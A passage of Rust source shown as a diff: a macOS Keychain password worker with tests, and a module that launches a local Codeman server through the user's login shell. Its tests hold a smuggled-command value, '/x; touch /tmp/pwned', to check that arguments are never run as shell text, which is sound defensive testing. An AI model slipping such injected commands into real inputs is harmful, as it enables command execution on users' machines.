/// before it has run and the Keychain has answered, which can mean
/// waiting on the access prompt, so call it from a worker thread.
/// `None` when nothing is saved, the item is unreadable or the worker
/// is gone.
pub fn load_blocking(&self, account: &str) -> Option<String> {
let (reply, answer) = mpsc::channel();
let job = Job::Load {
account: account.to_owned(),
reply,
};
self.jobs.send(job).ok()?;
answer.recv().ok().flatten()
}
/// Saves a password, replacing any saved before. Blocks like
/// [`Keychain::load_blocking`]; the result is the Keychain's own.
pub fn save_blocking(&self, account: &str, password: &str) -> Result<(), String> {
let (reply, answer) = mpsc::channel();
let job = Job::Save {
account: account.to_owned(),
password: password.to_owned(),
reply,
};
if self.jobs.send(job).is_err() {
return Err(WORKER_GONE.into());
}
answer.recv().unwrap_or_else(|_| Err(WORKER_GONE.into()))
}
/// Queues the removal of an account's password and returns at once.
/// Jobs queued after it see the account gone. Nothing happens when the
/// worker is gone.
pub fn delete(&self, account: &str) {
let _ = self.jobs.send(Job::Delete {
account: account.to_owned(),
});
}
}
/// Starts a worker on `backend`. The join handle is for the tests; `None`
/// when the thread could not be started, in which case the receiver went
/// down with the closure and every send fails.
fn start(backend: Box<dyn Backend>) -> (Keychain, Option<JoinHandle<()>>) {
let (jobs, queue) = mpsc::channel();
let worker = thread::Builder::new()
.name("keychain".into())
.spawn(move || run(backend, queue))
.ok();
(Keychain { jobs }, worker)
}
/// The worker loop: one job at a time, in the order they were sent, until
/// every handle is gone. A reply nobody waits for any more is dropped.
fn run(mut backend: Box<dyn Backend>, queue: Receiver<Job>) {
for job in queue {
match job {
Job::Load { account, reply } => {
let _ = reply.send(backend.load(&account));
}
Job::Save {
account,
password,
reply,
} => {
let _ = reply.send(backend.save(&account, &password));
}
Job::Delete { account } => backend.delete(&account),
#[cfg(test)]
Job::Stop => return,
}
}
}
#[cfg(target_os = "macos")]
mod imp {
use super::{Backend, SERVICE};
use objc2::rc::autoreleasepool;
use security_framework::passwords::{delete_generic_password, get_generic_password, set_generic_password};
/// The login Keychain, through security-framework. The worker lives as
/// long as the app and a thread's implicit autorelease pool drains only
/// when the thread ends, so each call gets its own pool and whatever
/// Security autoreleases is freed with the job.
pub struct System;
impl Backend for System {
fn load(&mut self, account: &str) -> Option<String> {
autoreleasepool(|_| {
get_generic_password(SERVICE, account)
.ok()
.and_then(|b| String::from_utf8(b).ok())
})
}
fn save(&mut self, account: &str, password: &str) -> Result<(), String> {
autoreleasepool(|_| set_generic_password(SERVICE, account, password.as_bytes()).map_err(|e| e.to_string()))
}
fn delete(&mut self, account: &str) {
autoreleasepool(|_| {
let _ = delete_generic_password(SERVICE, account);
})
}
}
}
#[cfg(not(target_os = "macos"))]
mod imp {
use super::Backend;
/// No password store yet on this platform.
pub struct System;
impl Backend for System {
fn load(&mut self, _account: &str) -> Option<String> {
None
}
fn save(&mut self, _account: &str, _password: &str) -> Result<(), String> {
Err("Saving passwords is not supported on this platform yet.".into())
}
fn delete(&mut self, _account: &str) {}
}
}
/// A Keychain on an in-memory store, for these tests and for the tests of the
/// code that uses a Keychain (main.rs).
#[cfg(test)]
pub(crate) mod memory {
use super::{start, Backend, Keychain};
use std::collections::HashMap;
use std::sync::{Arc, Mutex};
use std::time::Duration;
/// An in-memory store that logs every job it runs. Its delete is slow on
/// purpose: a queue that did not keep order would let the next job
/// overtake it, and the tests would see that.
#[derive(Clone, Default)]
pub(crate) struct Memory {
items: Arc<Mutex<HashMap<String, String>>>,
log: Arc<Mutex<Vec<String>>>,
}
impl Memory {
fn note(&self, entry: String) {
self.log.lock().unwrap().push(entry);
}
/// The jobs the store ran, in order.
pub(crate) fn log(&self) -> Vec<String> {
self.log.lock().unwrap().clone()
}
}
impl Backend for Memory {
fn load(&mut self, account: &str) -> Option<String> {
self.note(format!("load {account}"));
self.items.lock().unwrap().get(account).cloned()
}
fn save(&mut self, account: &str, password: &str) -> Result<(), String> {
self.note(format!("save {account}"));
self.items
.lock()
.unwrap()
.insert(account.to_owned(), password.to_owned());
Ok(())
}
fn delete(&mut self, account: &str) {
std::thread::sleep(Duration::from_millis(30));
self.note(format!("delete {account}"));
self.items.lock().unwrap().remove(account);
}
}
/// A worker on a fresh store, and the store to look into.
pub(crate) fn keychain() -> (Keychain, Memory) {
let memory = Memory::default();
let (keychain, worker) = start(Box::new(memory.clone()));
assert!(worker.is_some(), "the worker thread starts");
(keychain, memory)
}
}
#[cfg(test)]
mod tests {
use super::memory::{keychain, Memory};
use super::{start, Backend, Job, Keychain};
/// A store whose load fails the way a crashed worker would.
struct Crashes;
impl Backend for Crashes {
fn load(&mut self, _account: &str) -> Option<String> {
panic!("keychain worker crashed");
}
fn save(&mut self, _account: &str, _password: &str) -> Result<(), String> {
Ok(())
}
fn delete(&mut self, _account: &str) {}
}
#[test]
fn account_names_are_per_user_and_server() {
assert_eq!(
super::account("http://127.0.0.1:3000/", "admin"),
"admin @ http://127.0.0.1:3000/"
);
assert_ne!(
super::account("http://a/", "admin"),
super::account("http://b/", "admin")
);
}
#[test]
fn a_load_reads_what_a_save_wrote() {
let (keychain, _) = keychain();
assert_eq!(keychain.load_blocking("a"), None);
assert_eq!(keychain.save_blocking("a", "secret"), Ok(()));
assert_eq!(keychain.load_blocking("a").as_deref(), Some("secret"));
assert_eq!(keychain.save_blocking("a", "changed"), Ok(()));
assert_eq!(keychain.load_blocking("a").as_deref(), Some("changed"));
assert_eq!(keychain.load_blocking("b"), None);
}
#[test]
fn a_delete_queued_before_a_save_never_removes_the_saved_password() {
let (keychain, memory) = keychain();
assert_eq!(keychain.save_blocking("a", "old"), Ok(()));
keychain.delete("a");
assert_eq!(keychain.save_blocking("a", "new"), Ok(()));
assert_eq!(keychain.load_blocking("a").as_deref(), Some("new"));
assert_eq!(memory.log(), ["save a", "delete a", "save a", "load a"]);
}
#[test]
fn a_delete_queued_after_a_save_removes_it_before_the_next_job() {
let (keychain, memory) = keychain();
assert_eq!(keychain.save_blocking("a", "secret"), Ok(()));
keychain.delete("a");
// No wait between the two: the load is queued behind the delete.
assert_eq!(keychain.load_blocking("a"), None);
assert_eq!(memory.log(), ["save a", "delete a", "load a"]);
}
#[test]
fn jobs_from_clones_on_other_threads_share_one_queue() {
let (keychain, memory) = keychain();
let other = keychain.clone();
std::thread::spawn(move || {
other.save_blocking("a", "secret").unwrap();
other.delete("a");
})
.join()
.unwrap();
assert_eq!(keychain.load_blocking("a"), None);
assert_eq!(memory.log(), ["save a", "delete a", "load a"]);
}
#[test]
fn every_call_fails_soft_once_the_worker_is_gone() {
let memory = Memory::default();
let (keychain, worker) = start(Box::new(memory.clone()));
assert_eq!(keychain.save_blocking("a", "secret"), Ok(()));
keychain.jobs.send(Job::Stop).unwrap();
worker.unwrap().join().unwrap();
assert_eq!(keychain.load_blocking("a"), None);
assert!(keychain.save_blocking("a", "secret").is_err());
keychain.delete("a");
keychain.clone().delete("a");
assert_eq!(memory.log(), ["save a"]);
}
#[cfg(panic = "unwind")]
#[test]
fn a_worker_that_dies_mid_job_answers_nothing_and_takes_no_more_jobs() {
let (keychain, worker) = start(Box::new(Crashes));
assert_eq!(keychain.load_blocking("a"), None);
assert!(worker.unwrap().join().is_err(), "the worker panicked");
assert!(keychain.save_blocking("a", "secret").is_err());
keychain.delete("a");
}
#[test]
fn the_handle_is_send_and_sync() {
fn send_sync_clone<T: Send + Sync + Clone + 'static>() {}
send_sync_clone::<Keychain>();
}
}
File diff suppressed because it is too large. Load diff
+848
View File
@@ -0,0 +1,848 @@
//! "Start Codeman on this Mac": `codeman web -d` through the user's login shell.
//!
//! A double-clicked app gets launchd's bare PATH (`/usr/bin:/bin:...`), which
//! finds neither `codeman` nor `node`, and the server inherits whatever
//! environment it is started with: every session it spawns looks for
//! claude/codex/tmux on that PATH and reads provider keys from it. So the
//! command runs with the login shell's environment, picking up Homebrew and the
//! user's profile, and falls back to the interactive profile (`-i`) for setups
//! that only extend PATH there (nvm in `.zshrc`). The URL's port and base path
//! are passed as separate arguments (`"$@"`), never spliced into the script text.
//!
//! How depends on the shell, chosen by its basename as Codeman's own
//! `src/utils/shell-resolver.ts` does:
//! - A POSIX shell (zsh, bash, sh, ...) runs `SCRIPT` itself:
//! `$SHELL -l [-i] -c SCRIPT codeman-desktop <args>`.
//! - Any other shell (fish, nu, xonsh, elvish, pwsh, tcsh) cannot parse
//! `SCRIPT`: fish has no `then`/`fi` and refuses `$@`. It is only asked to
//! print its environment between two markers, and `SCRIPT` then runs under
//! `/bin/sh` with exactly that environment.
//!
//! `codeman web -d` refuses to start a second server on the same data dir and
//! returns once the new one answers `/api/status`, so this is safe to call
//! only after the probe found nothing listening.
use std::io::Read;
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
use std::sync::mpsc;
use std::time::{Duration, Instant};
use url::Url;
use crate::policy;
/// For the whole start, every shell run and retry included.
const TIMEOUT: Duration = Duration::from_secs(60);
/// How long the pipes may stay open after the shell exited. Something the
/// profile started in the background can inherit them and keep them open for
/// as long as it runs; whatever arrived by then is used.
const PIPE_GRACE: Duration = Duration::from_secs(2);
/// Found on PATH first, then the `install.sh` clone at `~/.codeman/app`.
const SCRIPT: &str = r#"if command -v codeman >/dev/null 2>&1; then exec codeman "$@"; fi
if [ -f "$HOME/.codeman/app/dist/index.js" ] && command -v node >/dev/null 2>&1; then
exec node "$HOME/.codeman/app/dist/index.js" "$@"
fi
echo "Could not find the codeman command or ~/.codeman/app. Install Codeman first: https://github.com/Ark0N/Codeman#install" >&2
exit 127"#;
/// Bracket the environment a non-POSIX login shell prints, so whatever its
/// profile writes to stdout before or after cannot be read as a variable.
const ENV_BEGIN: &str = "__CODEMAN_DESKTOP_ENV_BEGIN__";
const ENV_END: &str = "__CODEMAN_DESKTOP_ENV_END__";
/// What a non-POSIX login shell runs to report its environment. The shell
/// itself only parses a command path and one single-quoted word with no `;`,
/// `$`, backslash or `!` in it, so fish, nu, xonsh, elvish, pwsh and tcsh have
/// no syntax of their own to disagree on. The markers and `env` run under
/// `/bin/sh`, which inherits everything the profile exported.
fn capture_command() -> String {
format!("/bin/sh -c 'echo {ENV_BEGIN}; /usr/bin/env; echo {ENV_END}'")
}
fn login_shell() -> PathBuf {
std::env::var_os("SHELL")
.map(PathBuf::from)
.filter(|p| p.is_absolute() && p.exists())
.unwrap_or_else(|| PathBuf::from("/bin/zsh"))
}
/// How the login shell takes part in a start.
#[derive(Debug, PartialEq, Eq)]
enum Flavor {
/// Runs `SCRIPT` itself.
Posix,
/// Only reports its environment. One entry per attempt, in order: a later
/// one runs when the earlier one printed no environment or its environment
/// had no `codeman` (exit 127).
Capture(&'static [&'static [&'static str]]),
}
fn flavor(shell: &Path) -> Flavor {
match shell.file_name().and_then(|n| n.to_str()).unwrap_or("") {
"sh" | "bash" | "zsh" | "dash" | "ksh" | "ash" | "ksh93" | "mksh" | "pdksh" => Flavor::Posix,
// tcsh honors -l only when it is the ONLY flag, so a login shell that
// also runs a command is impossible; -i at least reads all of .tcshrc
// (csh: .cshrc), including the parts guarded by `$?prompt`.
"csh" | "tcsh" => Flavor::Capture(&[&["-ic"]]),
_ => Flavor::Capture(&[&["-l", "-c"], &["-l", "-i", "-c"]]),
}
}
/// What one process printed, stdout and stderr kept apart.
pub struct Output {
pub code: Option<i32>,
pub stdout: String,
pub stderr: String,
}
/// What `codeman` (or `SCRIPT` failing to find it) said, for the connect page.
struct Run {
code: Option<i32>,
output: String,
}
impl From<Output> for Run {
fn from(out: Output) -> Self {
let mut output = out.stdout;
if !out.stderr.trim().is_empty() {
// On a line of its own, also when stdout ended without a newline.
if !output.is_empty() && !output.ends_with('\n') {
output.push('\n');
}
output.push_str(&out.stderr);
}
Run {
code: out.code,
output: last_lines(&output, 6),
}
}
}
/// Copy `pipe` into the channel as it arrives, tagged with `stream`, then send
/// `None` once it closes.
fn pump<R: Read + Send + 'static>(pipe: Option<R>, stream: usize, tx: mpsc::Sender<(usize, Option<Vec<u8>>)>) {
std::thread::spawn(move || {
if let Some(mut pipe) = pipe {
let mut buf = [0u8; 8192];
loop {
match pipe.read(&mut buf) {
Ok(0) => break,
Ok(n) => {
if tx.send((stream, Some(buf[..n].to_vec()))).is_err() {
return;
}
}
Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue,
Err(_) => break,
}
}
}
let _ = tx.send((stream, None));
});
}
/// `exec_bounded` for a start.
fn exec(cmd: Command, deadline: Instant) -> Result<Output, String> {
exec_bounded(
cmd,
deadline,
"Starting Codeman took longer than a minute; it was stopped.",
)
}
/// Run `cmd` to completion with stdin closed, or kill it at `deadline` and
/// answer `timed_out`.
pub fn exec_bounded(mut cmd: Command, deadline: Instant, timed_out: &str) -> Result<Output, String> {
cmd.stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped());
let mut child = cmd
.spawn()
.map_err(|e| format!("Could not run {}: {e}", Path::new(cmd.get_program()).display()))?;
// Read both pipes on threads so a chatty profile cannot fill one and stall.
let (tx, rx) = mpsc::channel();
pump(child.stdout.take(), 0, tx.clone());
pump(child.stderr.take(), 1, tx);
// A login shell usually answers within tens of milliseconds: look often
// at first, then back off.
let mut nap = Duration::from_millis(5);
let status = loop {
match child.try_wait() {
Ok(Some(status)) => break status,
Ok(None) if Instant::now() < deadline => {
std::thread::sleep(nap);
nap = (nap * 2).min(Duration::from_millis(100));
}
Ok(None) => {
let _ = child.kill();
let _ = child.wait();
return Err(timed_out.to_string());
}
Err(e) => return Err(e.to_string()),
}
};
let mut bufs = [Vec::new(), Vec::new()];
let settle = (Instant::now() + PIPE_GRACE).min(deadline);
let mut open = 2;
while open > 0 {
match rx.recv_timeout(settle.saturating_duration_since(Instant::now())) {
Ok((stream, Some(bytes))) => bufs[stream].extend_from_slice(&bytes),
Ok((_, None)) => open -= 1,
Err(_) => {
// Still held open past the grace: keep what already arrived.
for (stream, bytes) in rx.try_iter() {
if let Some(bytes) = bytes {
bufs[stream].extend_from_slice(&bytes);
}
}
break;
}
}
}
// Lossy rather than strict: one stray non-UTF-8 byte in a profile's output
// must not cost the whole environment.
let [out, err] = bufs;
Ok(Output {
code: status.code(),
stdout: String::from_utf8_lossy(&out).into_owned(),
stderr: String::from_utf8_lossy(&err).into_owned(),
})
}
/// The tail of what the command printed, for the connect page.
fn last_lines(text: &str, n: usize) -> String {
let lines: Vec<&str> = text
.lines()
.map(str::trim_end)
.filter(|l| !l.trim().is_empty())
.collect();
lines[lines.len().saturating_sub(n)..].join("\n")
}
/// The variables `env` printed between the markers, or None when the output
/// does not hold both. A line that does not start with a portable variable
/// name followed by `=` continues the previous value (a value with a newline
/// in it); one that does starts the next variable.
fn parse_env(output: &str) -> Option<Vec<(String, String)>> {
let mut lines = output.split('\n');
// ends_with: a profile line printed without its newline sits in front.
lines.by_ref().find(|l| l.trim_end().ends_with(ENV_BEGIN))?;
let mut vars: Vec<(String, String)> = Vec::new();
for line in lines {
if line.trim() == ENV_END {
return Some(vars);
}
match env_entry(line) {
Some((name, value)) => vars.push((name.to_string(), value.to_string())),
None => {
if let Some((_, value)) = vars.last_mut() {
value.push('\n');
value.push_str(line);
}
}
}
}
None
}
fn env_entry(line: &str) -> Option<(&str, &str)> {
let (name, value) = line.split_once('=')?;
let mut chars = name.chars();
let first = chars.next()?;
let portable =
(first.is_ascii_alphabetic() || first == '_') && chars.all(|c| c.is_ascii_alphanumeric() || c == '_');
portable.then_some((name, value))
}
/// Ask `shell` for its environment with `flags`. The outer error ends the
/// start (the shell could not be run, or time is up); the inner one means this
/// form printed no environment and the next may be tried.
fn capture_env(
shell: &Path,
flags: &[&str],
deadline: Instant,
) -> Result<Result<Vec<(String, String)>, String>, String> {
let mut cmd = Command::new(shell);
cmd.args(flags).arg(capture_command());
let out = exec(cmd, deadline)?;
Ok(parse_env(&out.stdout).ok_or_else(|| {
// stderr only: stdout can hold part of the environment, API keys included.
let said = last_lines(&out.stderr, 6);
let mut message = format!("Could not read the environment of your login shell {}", shell.display());
if said.is_empty() {
let code = out
.code
.map_or_else(|| "a signal".to_string(), |c| format!("exit code {c}"));
message.push_str(&format!(" (it ended with {code})."));
} else {
message.push_str(":\n");
message.push_str(&said);
}
message
}))
}
/// The login shell's environment, for a process the app runs without it (the
/// graphical install). `None` when the shell reports none.
pub fn login_environment() -> Option<Vec<(String, String)>> {
let shell = login_shell();
let flags: &[&str] = match flavor(&shell) {
Flavor::Posix => &["-l", "-c"],
Flavor::Capture(attempts) => attempts.first().copied().unwrap_or(&["-c"]),
};
capture_env(&shell, flags, Instant::now() + FIND_TIMEOUT).ok()?.ok()
}
/// Run `cmd` in the home folder, where a terminal and the LaunchAgent start
/// Codeman too. The server keeps the directory it was started in and uses it
/// as the default for a session that names none; an app opened from the Finder
/// or the Dock runs in `/`.
fn in_home(cmd: &mut Command) {
if let Some(home) = dirs::home_dir() {
cmd.current_dir(home);
}
}
/// `script` (SCRIPT or FIND_SCRIPT) under `/bin/sh` with exactly the captured
/// environment, so the server gets the profile's PATH, API keys and CODEMAN_*
/// settings and nothing of launchd's bare one.
fn run_with_env(script: &str, env: &[(String, String)], args: &[String], deadline: Instant) -> Result<Run, String> {
let mut cmd = Command::new("/bin/sh");
cmd.arg("-c").arg(script).arg("codeman-desktop").args(args);
cmd.env_clear().envs(env.iter().map(|(k, v)| (k, v)));
in_home(&mut cmd);
exec(cmd, deadline).map(Run::from)
}
/// `script` run by the POSIX login shell itself.
fn run_in_shell(
script: &str,
shell: &Path,
interactive: bool,
args: &[String],
deadline: Instant,
) -> Result<Run, String> {
let mut cmd = Command::new(shell);
cmd.arg("-l");
if interactive {
cmd.arg("-i");
}
cmd.arg("-c").arg(script).arg("codeman-desktop").args(args);
in_home(&mut cmd);
exec(cmd, deadline).map(Run::from)
}
/// Run `script` the way the login shell allows (see the module docs). Exit
/// 127 means "no codeman here" and moves on to the next way of asking; the
/// interactive profile is asked only when `interactive` allows it.
fn launch(script: &str, shell: &Path, args: &[String], deadline: Instant, interactive: bool) -> Result<Run, String> {
let attempts = match flavor(shell) {
Flavor::Posix => {
let result = run_in_shell(script, shell, false, args, deadline)?;
if result.code != Some(127) || !interactive {
return Ok(result);
}
// Not on the login PATH; try the interactive profile too.
return run_in_shell(script, shell, true, args, deadline);
}
Flavor::Capture(attempts) => attempts,
};
let mut last_run = None;
let mut capture_error = None;
let interactive_flag = |flags: &&&[&str]| {
flags
.iter()
.any(|f| f.starts_with('-') && !f.starts_with("--") && f.contains('i'))
};
for flags in attempts.iter().filter(|f| interactive || !interactive_flag(f)) {
match capture_env(shell, flags, deadline)? {
Ok(env) => {
let result = run_with_env(script, &env, args, deadline)?;
if result.code != Some(127) {
return Ok(result);
}
last_run = Some(result);
}
Err(e) => capture_error = Some(e),
}
}
if let Some(result) = last_run {
return Ok(result);
}
// No form printed an environment: a shell that knows neither -l nor -i
// may still run a bare -c.
match capture_env(shell, &["-c"], deadline)? {
Ok(env) => run_with_env(script, &env, args, deadline),
Err(e) => Err(capture_error.unwrap_or(e)),
}
}
/// Exit 0 when SCRIPT would find Codeman (the `codeman` command or the
/// `install.sh` clone), 127 when it would not. Same lookup, nothing started.
const FIND_SCRIPT: &str = r#"if command -v codeman >/dev/null 2>&1; then exit 0; fi
if [ -f "$HOME/.codeman/app/dist/index.js" ] && command -v node >/dev/null 2>&1; then exit 0; fi
exit 127"#;
/// How long the This Mac tab waits for the login shell to answer whether
/// Codeman is installed.
const FIND_TIMEOUT: Duration = Duration::from_secs(15);
/// `installed` with the shell given, so tests need not touch `$SHELL`.
fn installed_with(shell: &Path, interactive: bool) -> bool {
matches!(
launch(FIND_SCRIPT, shell, &[], Instant::now() + FIND_TIMEOUT, interactive),
Ok(Run { code: Some(0), .. })
)
}
/// Whether "Start Codeman on this Mac" would find Codeman: the `codeman`
/// command on the login shell's PATH, or `~/.codeman/app` with `node`. Runs
/// the login shell, so never on the event loop. `interactive` also asks the
/// interactive profile (nvm in `.zshrc`, say), whose side effects only a
/// user's own click should set off.
pub fn installed(interactive: bool) -> bool {
installed_with(&login_shell(), interactive)
}
/// `start` with the shell given, so tests need not touch `$SHELL`.
fn start_with(shell: &Path, args: &[String]) -> Result<String, String> {
let result = launch(SCRIPT, shell, args, Instant::now() + TIMEOUT, true)?;
match result.code {
Some(0) => Ok(result.output),
_ if result.output.is_empty() => Err("codeman web -d failed without saying why.".into()),
_ => Err(result.output),
}
}
/// Start a detached server for `url`. Ok carries what `codeman` printed.
pub fn start(url: &Url) -> Result<String, String> {
if !policy::can_start_locally(url) {
return Err("Codeman can only be started here for http://127.0.0.1 or http://localhost on this Mac.".into());
}
start_with(&login_shell(), &policy::start_args(url))
}
#[cfg(test)]
mod tests {
use super::*;
/// One spawning test at a time. A test writes a fake executable and then
/// runs it; a process forked by a parallel test in between can still hold
/// the write descriptor, and the exec then fails with ETXTBSY.
fn serial() -> std::sync::MutexGuard<'static, ()> {
static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
LOCK.lock().unwrap_or_else(|e| e.into_inner())
}
#[test]
fn tail_of_output() {
assert_eq!(last_lines("a\n\nb\nc\n", 2), "b\nc");
assert_eq!(last_lines("", 3), "");
}
#[test]
fn stderr_starts_on_a_line_of_its_own() {
let said = |stdout: &str, stderr: &str| {
Run::from(Output {
code: Some(1),
stdout: stdout.into(),
stderr: stderr.into(),
})
.output
};
// stdout that ended without a newline used to be glued to stderr.
assert_eq!(
said("Starting Codeman", "Error: port 3000 is in use\n"),
"Starting Codeman\nError: port 3000 is in use"
);
assert_eq!(said("Starting\n", "Error\n"), "Starting\nError");
assert_eq!(said("", "Error\n"), "Error");
assert_eq!(said("Started\n", " \n"), "Started");
}
#[test]
fn refuses_non_local_or_https() {
assert!(start(&Url::parse("https://127.0.0.1:3000/").unwrap()).is_err());
assert!(start(&Url::parse("http://192.168.1.4:3000/").unwrap()).is_err());
}
/// The script passes its arguments through untouched and reports a missing
/// `codeman` with exit 127 (run with an empty PATH and HOME so nothing is found).
#[test]
fn script_reports_missing_codeman() {
let _serial = serial();
let out = Command::new("/bin/sh")
.arg("-c")
.arg(SCRIPT)
.arg("codeman-desktop")
.args(["web", "-d", "--port", "3000"])
.env("PATH", "/nonexistent")
.env("HOME", "/nonexistent")
.output()
.unwrap();
assert_eq!(out.status.code(), Some(127));
assert!(String::from_utf8_lossy(&out.stderr).contains("Could not find the codeman command"));
}
/// Arguments are data: a hostile-looking value is passed as one argv entry
/// to a fake `codeman`, never run by the shell.
#[test]
fn arguments_are_not_shell_text() {
let _serial = serial();
let dir = std::env::temp_dir().join(format!("codeman-desktop-fake-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let fake = dir.join("codeman");
std::fs::write(&fake, "#!/bin/sh\nfor a in \"$@\"; do printf '[%s]' \"$a\"; done\n").unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&fake, std::fs::Permissions::from_mode(0o755)).unwrap();
}
let out = Command::new("/bin/sh")
.arg("-c")
.arg(SCRIPT)
.arg("codeman-desktop")
.args(["web", "--base-url", "/x; touch /tmp/pwned"])
.env("PATH", format!("{}:/usr/bin:/bin", dir.display()))
.output()
.unwrap();
assert_eq!(
String::from_utf8_lossy(&out.stdout),
"[web][--base-url][/x; touch /tmp/pwned]"
);
let _ = std::fs::remove_dir_all(&dir);
}
fn pairs(vars: &[(&str, &str)]) -> Vec<(String, String)> {
vars.iter().map(|(k, v)| (k.to_string(), v.to_string())).collect()
}
#[test]
fn env_capture_parser() {
let out = format!(
"Welcome to fish, the friendly interactive shell\nno newline here{ENV_BEGIN}\n\
PATH=/opt/homebrew/bin:/usr/bin:/bin\n\
MULTI=line one\nline two\n three = 3\n\
EMPTY=\n\
TRAIL=a \n\n\
_=/usr/bin/env\n\
{ENV_END} \nbye from the profile\nNOT_CAPTURED=1\n"
);
assert_eq!(
parse_env(&out),
Some(pairs(&[
("PATH", "/opt/homebrew/bin:/usr/bin:/bin"),
("MULTI", "line one\nline two\n three = 3"),
("EMPTY", ""),
("TRAIL", "a \n"),
("_", "/usr/bin/env"),
]))
);
// A value may itself contain `=`; only the first one splits.
assert_eq!(
parse_env(&format!("{ENV_BEGIN}\nOPTS=a=b\n{ENV_END}\n")),
Some(pairs(&[("OPTS", "a=b")]))
);
assert_eq!(parse_env(&format!("{ENV_BEGIN}\n{ENV_END}\n")), Some(vec![]));
assert_eq!(parse_env(&format!("{ENV_BEGIN}\nPATH=/usr/bin\n")), None);
assert_eq!(parse_env(&format!("PATH=/usr/bin\n{ENV_END}\n")), None);
assert_eq!(parse_env("fish: Unknown command: then\n"), None);
}
#[test]
fn shell_flavor_by_basename() {
for posix in [
"/bin/zsh",
"/bin/bash",
"/bin/sh",
"/bin/dash",
"/bin/ksh",
"/opt/homebrew/bin/bash",
] {
assert_eq!(flavor(Path::new(posix)), Flavor::Posix, "{posix}");
}
assert_eq!(flavor(Path::new("/bin/tcsh")), Flavor::Capture(&[&["-ic"]]));
assert_eq!(flavor(Path::new("/bin/csh")), Flavor::Capture(&[&["-ic"]]));
for other in [
"/opt/homebrew/bin/fish",
"/usr/local/bin/nu",
"/opt/homebrew/bin/xonsh",
"/usr/local/bin/pwsh",
] {
assert_eq!(
flavor(Path::new(other)),
Flavor::Capture(&[&["-l", "-c"], &["-l", "-i", "-c"]]),
"{other}"
);
}
}
/// The login shell's part avoids everything only POSIX shells read.
#[test]
fn capture_command_is_shell_neutral() {
let _serial = serial();
let cmd = capture_command();
for bad in ["then", "fi", "$", "\\", "!", "\"", "&&"] {
assert!(!cmd.contains(bad), "{bad} in {cmd}");
}
assert_eq!(cmd.matches('\'').count(), 2);
assert!(cmd.starts_with("/bin/sh -c '"));
// /bin/sh, as the capture runs it, prints a parsable environment.
let out = Command::new("/bin/sh")
.arg("-c")
.arg(&cmd)
.env("CODEMAN_DESKTOP_PARSER_PROBE", "two\nlines")
.output()
.unwrap();
let env = parse_env(&String::from_utf8_lossy(&out.stdout)).expect("markers");
assert!(env
.iter()
.any(|(k, v)| k == "CODEMAN_DESKTOP_PARSER_PROBE" && v == "two\nlines"));
assert!(env.iter().any(|(k, _)| k == "PATH"));
}
/// A scratch directory with a fake `codeman` in `bin/` that prints its
/// arguments, the profile's marker variable and the names of everything in
/// its environment.
struct Scratch(PathBuf);
impl Scratch {
fn new(name: &str) -> Self {
let dir = std::env::temp_dir().join(format!("codeman-desktop-{name}-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(dir.join("bin")).unwrap();
std::fs::create_dir_all(dir.join("home")).unwrap();
let scratch = Scratch(dir);
scratch.exe(
"bin/codeman",
"#!/bin/sh\nprintf '[%s]' \"$@\"; echo\necho \"profile: $CODEMAN_DESKTOP_TEST\"\n\
printf 'names:'; env | cut -d= -f1 | tr '\\n' ' '; echo\n",
);
scratch
}
/// Write an executable at `rel`, with `DIR` in `body` replaced by the scratch path.
fn exe(&self, rel: &str, body: &str) -> PathBuf {
let path = self.0.join(rel);
std::fs::write(&path, body.replace("DIR", &self.0.display().to_string())).unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)).unwrap();
}
path
}
fn argv_log(&self) -> String {
std::fs::read_to_string(self.0.join("argv.log")).unwrap_or_default()
}
}
impl Drop for Scratch {
fn drop(&mut self) {
let _ = std::fs::remove_dir_all(&self.0);
}
}
const HOSTILE_ARGS: [&str; 3] = ["web", "--base-url", "/x; touch /tmp/pwned"];
fn hostile_args() -> Vec<String> {
HOSTILE_ARGS.iter().map(|s| s.to_string()).collect()
}
/// A stand-in for fish: it refuses POSIX `then` and `$@` the way fish
/// does, logs its flags, prints profile noise around whatever it runs, and
/// its "profile" replaces the environment. On its interactive form only
/// when `INTERACTIVE_ONLY` is yes, PATH reaches the fake `codeman`.
const FAKE_FISH: &str = r#"#!/bin/sh
args=""
for a in "$@"; do
case "$a" in
*then*|*'$@'*) echo "fish: Unknown command: then" >&2; exit 127;;
-*) args="$args$a ";;
esac
cmd="$a"
done
echo "$args" >> "DIR/argv.log"
bin="DIR/bin"
case "INTERACTIVE_ONLY:$args" in yes:*-i*|no:*) ;; *) bin=/nonexistent;; esac
echo "Welcome to fish, the friendly interactive shell"
/usr/bin/env -i PATH="$bin:/usr/bin:/bin" HOME="DIR/home" CODEMAN_DESKTOP_TEST="from the profile" /bin/sh -c "$cmd"
echo "bye from the profile"
"#;
/// SCRIPT never reaches the non-POSIX shell: it runs under /bin/sh with the
/// environment the shell printed, and with nothing else.
#[test]
fn non_posix_shell_only_reports_its_environment() {
let _serial = serial();
let s = Scratch::new("fish");
let fish = s.exe("fish", &FAKE_FISH.replace("INTERACTIVE_ONLY", "no"));
let out = start_with(&fish, &hostile_args()).expect("started");
let lines: Vec<&str> = out.lines().collect();
assert_eq!(lines[0], "[web][--base-url][/x; touch /tmp/pwned]");
assert_eq!(lines[1], "profile: from the profile");
assert_eq!(s.argv_log(), "-l -c \n");
// env_clear: a variable this process has, but the profile did not
// export, must not reach codeman.
let names: Vec<&str> = lines[2].trim_start_matches("names:").split_whitespace().collect();
assert!(names.contains(&"PATH") && names.contains(&"CODEMAN_DESKTOP_TEST"));
let captured = ["PATH", "HOME", "CODEMAN_DESKTOP_TEST", "PWD", "OLDPWD", "SHLVL", "_"];
let leaked: Vec<String> = std::env::vars_os()
.filter_map(|(k, _)| k.into_string().ok())
.filter(|k| !captured.contains(&k.as_str()) && !k.starts_with("__CF"))
.filter(|k| names.contains(&k.as_str()))
.collect();
assert!(leaked.is_empty(), "leaked from the app: {leaked:?}");
}
/// No codeman on the login PATH (exit 127): the environment is captured
/// again from the interactive profile, and that run finds it.
#[test]
fn non_posix_shell_retries_with_the_interactive_profile() {
